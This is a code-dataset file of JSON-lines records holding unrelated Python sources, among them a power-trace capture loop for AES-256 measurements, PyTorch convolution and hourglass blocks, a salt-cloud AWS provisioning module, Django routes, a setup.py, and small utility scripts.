samplingParameters['samplingPeriod_ns']\n timeVector = np.linspace(0, noSamples * samplingPeriod_ns, noSamples)\n with open('../../Data/AES_256/Measurement_' + str(Nth_measurement) + '/time.txt', \"wt\") as f:\n for x in timeVector:\n f.write(str(x) + ' ')\n f.write('\\n')\n\n print(str(i + 1) + \"/\" + str(n_traces) + \" Capturing Traces ...\")\n i = i + 1\n\n pico.run()\n\n # Save traces in file\n if i == 1000:\n with open('../../Data/AES_256/Measurement_' + str(Nth_measurement) + '/traces.txt', \"wt\") as f:\n for x in trace_A:\n for elem in x:\n f.write(str(elem) + ' ')\n f.write('\\n')\n if i == n_traces:\n with open('../../Data/AES_256/Measurement_' + str(Nth_measurement) + '/traces.txt', \"wt\") as f:\n for x in trace_A:\n for elem in x:\n f.write(str(elem) + ' ')\n f.write('\\n')\n\n\npico.stop()\nprint(\"Success\")","sub_path":"Communication pico&sakura (Python)/Collect_traces/Collect_traces_Faking_implemented.py","file_name":"Collect_traces_Faking_implemented.py","file_ext":"py","file_size_in_byte":6197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"647536821","text":"from torch import nn\r\nimport torch.nn.functional as F\r\nimport torch\r\nfrom sync_batchnorm import SynchronizedBatchNorm2d as BatchNorm2d\r\nfrom sync_batchnorm import SynchronizedBatchNorm3d as BatchNorm3d\r\n\r\n\r\ndef kp2gaussian(kp: object, spatial_size: object, kp_variance: object) -> object:\r\n \"\"\"\r\n Transform a keypoint into gaussian like representation\r\n \"\"\"\r\n mean = kp['value']\r\n\r\n coordinate_grid = make_coordinate_grid(spatial_size, mean.type())\r\n number_of_leading_dimensions = len(mean.shape) - 1\r\n shape = (1,) * number_of_leading_dimensions + coordinate_grid.shape\r\n coordinate_grid = coordinate_grid.view(*shape)\r\n repeats = mean.shape[:number_of_leading_dimensions] + (1, 1, 1)\r\n coordinate_grid = coordinate_grid.repeat(*repeats)\r\n\r\n # Preprocess kp shape\r\n shape = mean.shape[:number_of_leading_dimensions] + (1, 1, 2)\r\n mean = mean.view(*shape)\r\n\r\n mean_sub = (coordinate_grid - mean)\r\n\r\n out = torch.exp(-0.5 * (mean_sub ** 2).sum(-1) / kp_variance)\r\n\r\n return out\r\n\r\n\r\ndef make_coordinate_grid(spatial_size, type):\r\n \"\"\"\r\n Create a meshgrid [-1,1] x [-1,1] of given spatial_size.\r\n \"\"\"\r\n h, w = spatial_size\r\n x = torch.arange(w).type(type)\r\n y = torch.arange(h).type(type)\r\n\r\n x = (2 * (x / (w - 1)) - 1)\r\n y = (2 * (y / (h - 1)) - 1)\r\n\r\n yy = y.view(-1, 1).repeat(1, w)\r\n xx = x.view(1, -1).repeat(h, 1)\r\n\r\n meshed = torch.cat([xx.unsqueeze_(2), yy.unsqueeze_(2)], 2)\r\n\r\n return meshed\r\n\r\n\r\ndef zip_dimT_to_dimBS(tensor):\r\n \"\"\"\r\n :param tensor: (N)D tensor: B, C, T, ...\r\n :return: tensor_: (N-1)D tensor: B * T, C, ...\r\n \"\"\"\r\n\r\n shape = tensor.shape\r\n tensor_ = tensor.transpose(1, 2).contiguous().view([shape[0] * shape[2], shape[1]] + list(shape[3:])).contiguous()\r\n return tensor_\r\n\r\n\r\ndef unzip_dimT_from_dimBS(num_frame, tensor):\r\n \"\"\"\r\n :param num_frame: number of dimT\r\n :param tensor: (N-1)D tensor: B * T, C, ...\r\n :return: tensor_: (N)D tensor: B, C, T, ...\r\n \"\"\"\r\n shape = tensor.shape\r\n tensor_ = tensor.view([-1, num_frame, shape[1]] + list(shape[2:])).contiguous().transpose(1, 2).contiguous()\r\n return tensor_\r\n\r\n\r\ndef SoftCrossEntropyLoss(inputs, target, temperature=0.1):\r\n log_likelihood = -F.log_softmax(inputs / temperature, dim=1)\r\n prob_target = F.softmax(target / temperature, dim=1)\r\n loss = torch.mul(log_likelihood, prob_target).sum(dim=1).mean()\r\n return loss\r\n\r\n\r\ndef MatrixEqualityLoss(inputs, target):\r\n eye_ = torch.matmul(inputs, torch.inverse(target))\r\n eye = torch.eye(2).view(1, 1, 2, 2).type(eye_.type())\r\n loss = torch.abs(eye - eye_).sum(dim=(1, 3, 4)).mean()\r\n\r\n return loss\r\n\r\n\r\nclass ResBlock3d(nn.Module):\r\n \"\"\"\r\n Res block, preserve spatial resolution.\r\n \"\"\"\r\n\r\n def __init__(self, in_features, kernel_size, padding):\r\n super(ResBlock3d, self).__init__()\r\n if isinstance(padding, int):\r\n padding = (padding, padding, padding)\r\n self.conv1 = nn.Sequential(\r\n nn.ReplicationPad3d((0, 0, 0, 0, padding[0], padding[0])),\r\n nn.Conv3d(in_channels=in_features, out_channels=in_features, kernel_size=kernel_size,\r\n padding=(0, padding[1], padding[2]))\r\n )\r\n self.conv2 = nn.Sequential(\r\n nn.ReplicationPad3d((0, 0, 0, 0, padding[0], padding[0])),\r\n nn.Conv3d(in_channels=in_features, out_channels=in_features, kernel_size=kernel_size,\r\n padding=(0, padding[1], padding[2]))\r\n )\r\n self.norm1 = BatchNorm3d(in_features, affine=True)\r\n self.norm2 = BatchNorm3d(in_features, affine=True)\r\n\r\n def forward(self, x):\r\n out = self.norm1(x)\r\n out = F.relu(out, inplace=True)\r\n out = self.conv1(out)\r\n out = self.norm2(out)\r\n out = F.relu(out, inplace=True)\r\n out = self.conv2(out)\r\n out += x\r\n return out\r\n\r\n\r\nclass UpBlock2d(nn.Module):\r\n \"\"\"\r\n Upsampling block for use in decoder(2D).\r\n \"\"\"\r\n\r\n def __init__(self, in_features, out_features, kernel_size=3, padding=1, groups=1):\r\n super(UpBlock2d, self).__init__()\r\n\r\n self.conv = nn.Conv2d(in_channels=in_features, out_channels=out_features, kernel_size=kernel_size,\r\n padding=padding, groups=groups)\r\n self.norm = BatchNorm2d(out_features, affine=True)\r\n\r\n def forward(self, x):\r\n out = F.interpolate(x, scale_factor=2)\r\n out = self.conv(out)\r\n out = self.norm(out)\r\n out = F.relu(out, inplace=True)\r\n return out\r\n\r\n\r\nclass UpBlock3d(nn.Module):\r\n \"\"\"\r\n Upsampling block for use in decoder.\r\n \"\"\"\r\n\r\n def __init__(self, in_features, out_features, kernel_size=3, padding=1, groups=1):\r\n super(UpBlock3d, self).__init__()\r\n\r\n if isinstance(padding, int):\r\n padding = (padding, padding, padding)\r\n self.conv = nn.Sequential(\r\n nn.ReplicationPad3d((0, 0, 0, 0, padding[0], padding[0])),\r\n nn.Conv3d(in_channels=in_features, out_channels=out_features, kernel_size=kernel_size,\r\n padding=(0, padding[1], padding[2]), groups=groups)\r\n )\r\n self.norm = BatchNorm3d(out_features, affine=True)\r\n\r\n def forward(self, x):\r\n shape = x.shape\r\n x = x.transpose(1, 2).contiguous().view([shape[0] * shape[2], shape[1]] + list(shape[3:]))\r\n out = F.interpolate(x, scale_factor=2)\r\n out = out.view([shape[0], shape[2], shape[1]] + list(out.shape[2:])).contiguous().transpose(1, 2)\r\n out = self.conv(out)\r\n out = self.norm(out)\r\n out = F.relu(out, inplace=True)\r\n return out\r\n\r\n\r\nclass DownBlock2d(nn.Module):\r\n \"\"\"\r\n Downsampling block for use in encoder(2D).\r\n \"\"\"\r\n\r\n def __init__(self, in_features, out_features, kernel_size=3, padding=1, groups=1):\r\n super(DownBlock2d, self).__init__()\r\n self.conv = nn.Conv2d(in_channels=in_features, out_channels=out_features, kernel_size=kernel_size,\r\n padding=padding, groups=groups)\r\n self.norm = BatchNorm2d(out_features, affine=True)\r\n self.pool = nn.AvgPool2d(kernel_size=(2, 2))\r\n\r\n def forward(self, x):\r\n out = self.conv(x)\r\n out = self.norm(out)\r\n out = F.relu(out, inplace=True)\r\n out = self.pool(out)\r\n return out\r\n\r\n\r\nclass SameBlock2d(nn.Module):\r\n \"\"\"\r\n Simple block, preserve spatial resolution.\r\n \"\"\"\r\n\r\n def __init__(self, in_features, out_features, groups=1, kernel_size=3, padding=1):\r\n super(SameBlock2d, self).__init__()\r\n self.conv = nn.Conv2d(in_channels=in_features, out_channels=out_features,\r\n kernel_size=kernel_size, padding=padding, groups=groups)\r\n self.norm = BatchNorm2d(out_features, affine=True)\r\n\r\n def forward(self, x):\r\n out = self.conv(x)\r\n out = self.norm(out)\r\n out = F.relu(out)\r\n return out\r\n\r\n\r\nclass Decoder3d(nn.Module):\r\n \"\"\"\r\n Hourglass Decoder\r\n \"\"\"\r\n\r\n def __init__(self, block_expansion, in_features, num_blocks=3, max_features=256):\r\n super(Decoder3d, self).__init__()\r\n\r\n up_blocks = []\r\n\r\n for i in range(num_blocks)[::-1]:\r\n in_filters = (1 if i == num_blocks - 1 else 2) * min(max_features, block_expansion * (2 ** (i + 1)))\r\n out_filters = min(max_features, block_expansion * (2 ** i))\r\n up_blocks.append(UpBlock3d(in_filters, out_filters, kernel_size=3, padding=1))\r\n\r\n self.up_blocks = nn.ModuleList(up_blocks)\r\n self.out_filters = block_expansion + in_features\r\n\r\n def forward(self, x):\r\n out = x.pop()\r\n for up_block in self.up_blocks:\r\n out = up_block(out)\r\n skip = x.pop()\r\n out = torch.cat([out, skip], dim=1)\r\n return out\r\n\r\n\r\nclass Encoder2d(nn.Module):\r\n \"\"\"\r\n Hourglass Encoder\r\n \"\"\"\r\n\r\n def __init__(self, block_expansion, in_features, num_blocks=3, max_features=256):\r\n super(Encoder2d, self).__init__()\r\n\r\n down_blocks = []\r\n for i in range(num_blocks):\r\n down_blocks.append(DownBlock2d(in_features if i == 0 else min(max_features, block_expansion * (2 ** i)),\r\n min(max_features, block_expansion * (2 ** (i + 1))),\r\n kernel_size=3, padding=1))\r\n self.down_blocks = nn.ModuleList(down_blocks)\r\n\r\n def forward(self, x):\r\n outs = [x]\r\n for down_block in self.down_blocks:\r\n outs.append(down_block(outs[-1]))\r\n return outs\r\n\r\n\r\nclass Decoder2d(nn.Module):\r\n \"\"\"\r\n Hourglass Decoder\r\n \"\"\"\r\n\r\n def __init__(self, block_expansion, in_features, num_blocks=3, max_features=256):\r\n super(Decoder2d, self).__init__()\r\n\r\n up_blocks = []\r\n\r\n for i in range(num_blocks)[::-1]:\r\n in_filters = (1 if i == num_blocks - 1 else 2) * min(max_features, block_expansion * (2 ** (i + 1)))\r\n out_filters = min(max_features, block_expansion * (2 ** i))\r\n up_blocks.append(UpBlock2d(in_filters, out_filters, kernel_size=3, padding=1))\r\n\r\n self.up_blocks = nn.ModuleList(up_blocks)\r\n self.out_filters = block_expansion + in_features\r\n\r\n def forward(self, x):\r\n out = x.pop()\r\n for up_block in self.up_blocks:\r\n out = up_block(out)\r\n skip = x.pop()\r\n out = torch.cat([out, skip], dim=1)\r\n return out\r\n\r\n\r\nclass Hourglass2d(nn.Module):\r\n \"\"\"\r\n Hourglass architecture.\r\n \"\"\"\r\n\r\n def __init__(self, block_expansion, in_features, num_blocks=3, max_features=256):\r\n super(Hourglass2d, self).__init__()\r\n self.encoder = Encoder2d(block_expansion, in_features, num_blocks, max_features)\r\n self.decoder = Decoder2d(block_expansion, in_features, num_blocks, max_features)\r\n self.out_filters = self.decoder.out_filters\r\n\r\n def forward(self, x):\r\n return self.decoder(self.encoder(x))\r\n\r\n\r\nclass AntiAliasInterpolation2d(nn.Module):\r\n \"\"\"\r\n Band-limited downsampling, for better preservation of the input signal.\r\n \"\"\"\r\n def __init__(self, channels, scale):\r\n super(AntiAliasInterpolation2d, self).__init__()\r\n sigma = (1 / scale - 1) / 2\r\n kernel_size = 2 * round(sigma * 4) + 1\r\n self.ka = kernel_size // 2\r\n self.kb = self.ka - 1 if kernel_size % 2 == 0 else self.ka\r\n\r\n kernel_size = [kernel_size, kernel_size]\r\n sigma = [sigma, sigma]\r\n # The gaussian kernel is the product of the\r\n # gaussian function of each dimension.\r\n kernel = 1\r\n meshgrids = torch.meshgrid(\r\n [\r\n torch.arange(size, dtype=torch.float32)\r\n for size in kernel_size\r\n ]\r\n )\r\n for size, std, mgrid in zip(kernel_size, sigma, meshgrids):\r\n mean = (size - 1) / 2\r\n kernel *= torch.exp(-(mgrid - mean) ** 2 / (2 * std ** 2))\r\n\r\n # Make sure sum of values in gaussian kernel equals 1.\r\n kernel = kernel / torch.sum(kernel)\r\n # Reshape to depthwise convolutional weight\r\n kernel = kernel.view(1, 1, *kernel.size())\r\n kernel = kernel.repeat(channels, *[1] * (kernel.dim() - 1))\r\n\r\n self.register_buffer('weight', kernel)\r\n self.groups = channels\r\n self.scale = scale\r\n\r\n def forward(self, input):\r\n if self.scale == 1.0:\r\n return input\r\n\r\n out = F.pad(input, (self.ka, self.kb, self.ka, self.kb))\r\n out = F.conv2d(out, weight=self.weight, groups=self.groups)\r\n out = F.interpolate(out, scale_factor=(self.scale, self.scale))\r\n\r\n return out\r\n","sub_path":"modules/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":11776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"133879936","text":"'''\nThe AWS Cloud Module\n====================\n\nThe AWS cloud module is used to interact with the Amazon Web Services system.\n\nTo use the AWS cloud module the following configuration parameters need to be\nset in the main cloud config:\n\n.. code-block:: yaml\n\n # The AWS API authentication id\n AWS.id: GKTADJGHEIQSXMKKRBJ08H\n # The AWS API authentication key\n AWS.key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs\n # The ssh keyname to use\n AWS.keyname: default\n # The amazon security group\n AWS.securitygroup: ssh_open\n # The location of the private key which corresponds to the keyname\n AWS.private_key: /root/default.pem\n\n'''\n\n# Import python libs\nimport os\nimport sys\nimport types\nimport time\nimport tempfile\nimport subprocess\nimport logging\n\n# Import libcloud\nfrom libcloud.compute.types import Provider\nfrom libcloud.compute.providers import get_driver\nfrom libcloud.compute.deployment import MultiStepDeployment, ScriptDeployment, SSHKeyDeployment\n\n# Import saltcloud libs\nimport saltcloud.utils\nfrom saltcloud.utils import namespaced_function\nfrom saltcloud.libcloudfuncs import *\n\n# Import salt libs\nfrom salt.exceptions import SaltException\n\n# Get logging started\nlog = logging.getLogger(__name__)\n\n# Init the libcloud functions\navail_images = namespaced_function(avail_images, globals())\navail_sizes = namespaced_function(avail_sizes, globals())\nscript = namespaced_function(script, globals())\ndestroy = namespaced_function(destroy, globals())\nlist_nodes = namespaced_function(list_nodes, globals())\nlist_nodes_full = namespaced_function(list_nodes_full, globals())\nlist_nodes_select = namespaced_function(list_nodes_select, globals())\n\n\n# Only load in this module if the AWS configurations are in place\ndef __virtual__():\n '''\n Set up the libcloud funcstions and check for AWS configs\n '''\n confs = [\n 'AWS.id',\n 'AWS.key',\n 'AWS.keyname',\n 'AWS.securitygroup',\n 'AWS.private_key',\n ]\n for conf in confs:\n if conf not in __opts__:\n return False\n log.debug('Loading AWS cloud module')\n return 'aws'\n\n\nEC2_LOCATIONS = {\n 'ap-northeast-1': Provider.EC2_AP_NORTHEAST,\n 'ap-southeast-1': Provider.EC2_AP_SOUTHEAST,\n 'eu-west-1': Provider.EC2_EU_WEST,\n 'sa-east-1': Provider.EC2_SA_EAST,\n 'us-east-1': Provider.EC2_US_EAST,\n 'us-west-1': Provider.EC2_US_WEST,\n 'us-west-2': Provider.EC2_US_WEST_OREGON\n}\nDEFAULT_LOCATION = 'us-east-1'\n\nif hasattr(Provider, 'EC2_AP_SOUTHEAST2'):\n EC2_LOCATIONS['ap-southeast-2'] = Provider.EC2_AP_SOUTHEAST2\n\n\ndef get_conn(**kwargs):\n '''\n Return a conn object for the passed VM data\n '''\n if 'location' in kwargs:\n location = kwargs['location']\n if location not in EC2_LOCATIONS:\n raise SaltException('The specified location does not seem to be valid: {0}\\n'.format(location))\n else:\n location = DEFAULT_LOCATION\n\n driver = get_driver(EC2_LOCATIONS[location])\n return driver(\n __opts__['AWS.id'],\n __opts__['AWS.key'],\n )\n\n\ndef keyname(vm_):\n '''\n Return the keyname\n '''\n return str(vm_.get('keyname', __opts__.get('AWS.keyname', '')))\n\n\ndef securitygroup(vm_):\n '''\n Return the security group\n '''\n return vm_.get('securitygroup', __opts__.get('AWS.securitygroup', 'default'))\n securitygroups = vm_.get('securitygroup', __opts__.get('AWS.securitygroup', 'default'))\n if not isinstance(securitygroups, list):\n securitygroup = securitygroups\n securitygroups = [securitygroup]\n return securitygroups\n\n\ndef ssh_username(vm_):\n '''\n Return the ssh_username. Defaults to 'ec2-user'.\n '''\n usernames = vm_.get('ssh_username', __opts__.get('AWS.ssh_username', 'ec2-user'))\n if not isinstance(usernames, list):\n username = usernames\n usernames = [username]\n if not 'ec2-user' in usernames:\n usernames.append('ec2-user')\n if not 'root' in usernames:\n usernames.append('root')\n return usernames\n\n\ndef ssh_interface(vm_):\n '''\n Return the ssh_interface type to connect to. Either 'public_ips' (default) or 'private_ips'.\n '''\n return vm_.get('ssh_interface', __opts__.get('AWS.ssh_interface', 'public_ips'))\n\n\ndef get_location(vm_):\n '''\n Return the AWS region to use\n '''\n return vm_.get('location', __opts__.get('AWS.location', DEFAULT_LOCATION))\n\n\ndef get_availability_zone(conn, vm_):\n '''\n Return the availability zone to use\n '''\n locations = conn.list_locations()\n az = None\n if 'availability_zone' in vm_:\n az = vm_['availability_zone']\n elif 'AWS.availability_zone' in __opts__:\n az = __opts__['AWS.availability_zone']\n\n if az is None:\n # Default to first zone\n return locations[0]\n for loc in locations:\n if loc.availability_zone.name == az:\n return loc\n\n\ndef create(vm_):\n '''\n Create a single VM from a data dict\n '''\n location = get_location(vm_)\n log.info('Creating Cloud VM {0} in {1}'.format(vm_['name'], location))\n conn = get_conn(location=location)\n usernames = ssh_username(vm_)\n kwargs = {'ssh_key': __opts__['AWS.private_key']}\n kwargs['name'] = vm_['name']\n deploy_script = script(vm_)\n kwargs['image'] = get_image(conn, vm_)\n kwargs['size'] = get_size(conn, vm_)\n kwargs['location'] = get_availability_zone(conn, vm_)\n ex_keyname = keyname(vm_)\n if ex_keyname:\n kwargs['ex_keyname'] = ex_keyname\n ex_securitygroup = securitygroup(vm_)\n if ex_securitygroup:\n kwargs['ex_securitygroup'] = ex_securitygroup\n try:\n data = conn.create_node(**kwargs)\n except Exception as exc:\n err = ('Error creating {0} on AWS\\n\\n'\n 'The following exception was thrown by libcloud when trying to '\n 'run the initial deployment: \\n{1}').format(\n vm_['name'], exc\n )\n sys.stderr.write(err)\n log.error(err)\n return False\n log.info('Created node {0}'.format(vm_['name']))\n waiting_for_ip = 0\n while not data.public_ips:\n time.sleep(0.5)\n waiting_for_ip += 1\n data = get_node(conn, vm_['name'])\n log.warn('Salt node waiting_for_ip {0}'.format(waiting_for_ip))\n if ssh_interface(vm_) == \"private_ips\":\n log.info('Salt node data. Private_ip: {0}'.format(data.private_ips[0]))\n ip_address = data.private_ips[0]\n else:\n log.info('Salt node data. Public_ip: {0}'.format(data.public_ips[0]))\n ip_address = data.public_ips[0]\n if saltcloud.utils.wait_for_ssh(ip_address):\n for user in usernames:\n if saltcloud.utils.wait_for_passwd(host=ip_address, username=user, timeout=60, key_filename=__opts__['AWS.private_key']):\n username = user\n break\n if __opts__['deploy'] is True:\n deploy_command = 'bash /tmp/deploy.sh'\n if username == 'root':\n deploy_command = '/tmp/deploy.sh'\n deployed = saltcloud.utils.deploy_script(\n host=ip_address,\n username=username,\n key_filename=__opts__['AWS.private_key'],\n deploy_command=deploy_command,\n tty=True,\n script=deploy_script.script,\n name=vm_['name'],\n sudo=True,\n start_action=__opts__['start_action'],\n conf_file=__opts__['conf_file'],\n sock_dir=__opts__['sock_dir'])\n if deployed:\n log.info('Salt installed on {0}'.format(vm_['name']))\n else:\n log.error('Failed to start Salt on Cloud VM {0}'.format(vm_['name']))\n\n log.info('Created Cloud VM {0} with the following values:'.format(vm_['name']))\n for key, val in data.__dict__.items():\n log.info(' {0}: {1}'.format(key, val))\n volumes = vm_.get('map_volumes')\n if volumes:\n log.info('Create and attach volumes to node {0}'.format(data.name))\n create_attach_volumes(volumes,location, data)\n\n\ndef create_attach_volumes(volumes, location, data):\n '''\n Create and attach volumes to created node\n '''\n conn = get_conn(location=location)\n node_avz = data.__dict__.get('extra').get('availability')\n for avz in conn.list_locations():\n if avz.availability_zone.name == node_avz:\n break\n for volume in volumes:\n volume_name = volume['device'] + \" on \" + data.name\n created_volume = conn.create_volume(volume['size'], volume_name, avz)\n attach = conn.attach_volume(data, created_volume, volume['device'])\n if attach:\n log.info('{0} attached to {1} (aka {2}) as device {3}'.format(created_volume.id, data.id, data.name, volume['device']))\n\n\ndef stop(name):\n '''\n Stop a node\n '''\n conn = get_conn()\n node = get_node(conn, name)\n try:\n data = conn.ex_stop_node(node=node)\n log.debug(data)\n log.info('Stopped node {0}'.format(name))\n except Exception as exc:\n log.error('Failed to stop node {0}'.format(name))\n log.error(exc)\n\n\ndef start(name):\n '''\n Start a node\n '''\n conn = get_conn()\n node = get_node(conn, name)\n try:\n data = conn.ex_start_node(node=node)\n log.debug(data)\n log.info('Started node {0}'.format(name))\n except Exception as exc:\n log.error('Failed to start node {0}'.format(name))\n log.error(exc)\n\n","sub_path":"saltcloud/clouds/aws.py","file_name":"aws.py","file_ext":"py","file_size_in_byte":9466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"634768045","text":"from django.urls import path\nfrom .views import RegistrationAPIView, LoginAPIView, UserRetrieveUpdateAPIView\n\napp_name='auth'\n\nurlpatterns = [\n path('user/', UserRetrieveUpdateAPIView.as_view(), name='retrieveUpdate'),\n path('users/', RegistrationAPIView.as_view(), name='registration'),\n path('users/login/', LoginAPIView.as_view(), name='login'),\n]","sub_path":"ratebum/apps/authentication/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"395177458","text":"#! python3\nimport os\nfrom setuptools import setup, find_packages\n\n# read the contents of your README file\nthis_directory = os.path.abspath(os.path.dirname(__file__))\nwith open(os.path.join(this_directory, 'README.md')) as f:\n long_description = f.read()\n\nsetup (\n\tname = \"extractor_phone_email\",\n\tversion = \"1.0.3\", \n\tdescription = \"Package that allows, with regular expressions, to extract from texts, phone numbers and emails\",\n\tlong_description = long_description,\n\tlong_description_content_type = \"text/markdown\",\n\tauthor = \"Dari Developer\",\n\tauthor_email = \"hernandezdarifrancisco@gmail.com\",\n\tlicense = \"MIT\",\n\tkeywords = \"extract, re, phones, emails\",\n\tproject_urls = {\n\t\t\"Documentation\": \"https://github.com/DariHernandez/phone_and_email_extractor/blob/master/README.md\",\n\t\t\"Funding\": \"https://www.paypal.com/paypalme/FranciscoDari\",\n\t\t\"Source\": \"https://github.com/DariHernandez/phone_and_email_extractor\"\n\t\t},\n\tpackages = find_packages(include=[\"extractor_phone_email\", \"extractor_phone_email.*\"]),\n\tinstall_requires = [\"pyperclip\"],\n\tpython_requires = \">=3.7\"\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"190829224","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport mptt.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('contents', '0001_initial'),\n ('templates', '0001_initial'),\n ('news', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Menu',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('slug', models.SlugField(unique=True)),\n ('menu_depth', models.PositiveSmallIntegerField(default=0)),\n ],\n options={\n 'ordering': ['slug'],\n 'db_table': 'menus',\n },\n ),\n migrations.CreateModel(\n name='Page',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=255)),\n ('slug', models.SlugField(unique=True)),\n ('is_active', models.BooleanField(default=True)),\n ('show_breadcrumbs', models.BooleanField(default=True)),\n ('position', models.PositiveSmallIntegerField(default=0, blank=True)),\n ('redirect_link', models.CharField(max_length=255, null=True, blank=True)),\n ('lft', models.PositiveIntegerField(editable=False, db_index=True)),\n ('rght', models.PositiveIntegerField(editable=False, db_index=True)),\n ('tree_id', models.PositiveIntegerField(editable=False, db_index=True)),\n ('level', models.PositiveIntegerField(editable=False, db_index=True)),\n ('category_link', models.ForeignKey(related_name='page_category', on_delete=django.db.models.deletion.SET_NULL, blank=True, to='news.Category', null=True)),\n ('content_link', models.ForeignKey(related_name='page_content', on_delete=django.db.models.deletion.SET_NULL, blank=True, to='contents.Content', null=True)),\n ('parent', mptt.fields.TreeForeignKey(related_name='children', blank=True, to='pages.Page', null=True)),\n ('template', models.ForeignKey(blank=True, to='templates.Template', null=True)),\n ],\n options={\n 'ordering': ['position', 'title'],\n 'db_table': 'pages',\n },\n ),\n migrations.AddField(\n model_name='menu',\n name='pages',\n field=models.ManyToManyField(related_name='pages_menu', to='pages.Page', blank=True),\n ),\n ]\n","sub_path":"apps/pages/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"60664677","text":"\n\nfrom xai.brain.wordbase.verbs._contain import _CONTAIN\n\n#calss header\nclass _CONTAINED(_CONTAIN, ):\n\tdef __init__(self,): \n\t\t_CONTAIN.__init__(self)\n\t\tself.name = \"CONTAINED\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"contain\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_contained.py","file_name":"_contained.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"526018672","text":"class Solution:\r\n def productExceptSelf(self, nums: List[int]) -> List[int]:\r\n leftarr= [0]*len(nums)\r\n lproduct = 1\r\n rproduct = 1\r\n for i in range(len(nums)):\r\n if i>=1:\r\n lproduct *= nums[i-1]\r\n leftarr[i]=lproduct\r\n for i in range(len(nums)-1, -1,-1):\r\n if i<=len(nums)-2:\r\n rproduct *= nums[i+1]\r\n leftarr[i]*=rproduct\r\n return leftarr\r\n \r\n\"\"\"Time complexity : O(n)\r\nSpace complexity :O(1) as the array utilized for the calculations is returned as output\r\nand its not considered as auxilary space\"\"\"\r\n\r\n # arr = []\r\n # for i in range(len(nums)):\r\n # product = 1\r\n # for j in range(len(nums)):\r\n # if i!=j:\r\n # product *=nums[j]\r\n # arr.append(product)\r\n # return arr\r\n \r\n # leftarr= [0]*len(nums)\r\n # rightarr=[0]*len(nums)\r\n # lproduct = 1\r\n # rproduct = 1\r\n # for i in range(len(nums)):\r\n # if i>=1:\r\n # lproduct *= nums[i-1]\r\n # leftarr[i]=lproduct\r\n # for i in range(len(nums)-1, -1,-1):\r\n # if i<=len(nums)-2:\r\n # rproduct *= nums[i+1]\r\n # rightarr[i]=rproduct\r\n # for i in range(len(nums)):\r\n # rightarr[i]*=leftarr[i]\r\n # return rightarr\r\n \r\n \r\n \r\n \r\n \r\n ","sub_path":"ProductexceptSelf.py","file_name":"ProductexceptSelf.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"17055404","text":"#!/usr/bin/env python\r\n#\r\n# File Name: filter_papers.py\r\n# Author: Evan Pete Walsh\r\n# Contact: epwalsh@iastate.edu\r\n# Creation Date: 02-02-2016\r\n# Last Modified: Mon Feb 15 17:30:04 2016\r\n# =============================================================================\r\n\r\n\"\"\" Remove papers that describe multiple studies and create master key with\r\nclassification of experimental design for all papers in 'clean' folder. \"\"\"\r\n\r\nimport pandas as pd\r\nimport os\r\nimport re\r\n\r\n\r\ndef change_suffix(s):\r\n res = re.sub(r\"\\.pdf\", \".txt\", s)\r\n return res\r\n\r\n# Remove papers with multiple studies\r\ndf = pd.read_csv(\"~/AFLEX/master_key/papers_with_multiple_studies.csv\")\r\ndf['File'] = df['File Name'].map(lambda x: change_suffix(x))\r\n\r\npath = \"/Users/epwalsh/AFLEX/papers/clean/\"\r\n\r\nfor f in df['File']:\r\n if os.path.isfile(path + f):\r\n os.remove(path + f)\r\n\r\n\r\n# Create classification list\r\nkey = pd.read_csv(\"~/AFLEX/master_key/master_key02.csv\")\r\nkey['File'] = key['File Name'].map(lambda x: change_suffix(x))\r\nkey = key.drop(['File Name'], axis=1)\r\n\r\nhome = os.path.expanduser('~')\r\npapers_dir = home + '/AFLEX/papers/clean/'\r\nfiles = [f for f in os.listdir(papers_dir) if\r\n os.path.isfile(os.path.join(papers_dir, f))]\r\n\r\nkey2 = pd.DataFrame(columns=['File'])\r\nkey2['File'] = files\r\n\r\nkey3 = pd.merge(key2, key, on='File', how='left')\r\nkey3.fillna(value='other', inplace=True)\r\nkey3.to_csv(\"response.csv\", index=False)\r\n","sub_path":"baseline/02_filter_papers.py","file_name":"02_filter_papers.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"78329791","text":"'''\nauthor: HAK\ntime : 10:00 PM, 28/10/2017\n'''\n\nimport argparse\nimport re\nfrom directoryInfo import PATH_INFO_PROVIDER\nfrom Watch import Watcher\n\n\nparser = argparse.ArgumentParser(prog='WATCHER',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n description='Watch directory with a path specified.')\nparser.add_argument('--path' , '-p', type=str, default='.', help=\"Specify full path to a directory.\")\nparser.add_argument('-s', action='store_true')\nargs = parser.parse_args()\nDIRECTORY_NAME = re.sub('[\\'\\\"]','',args.path)\nDIR_INFO = 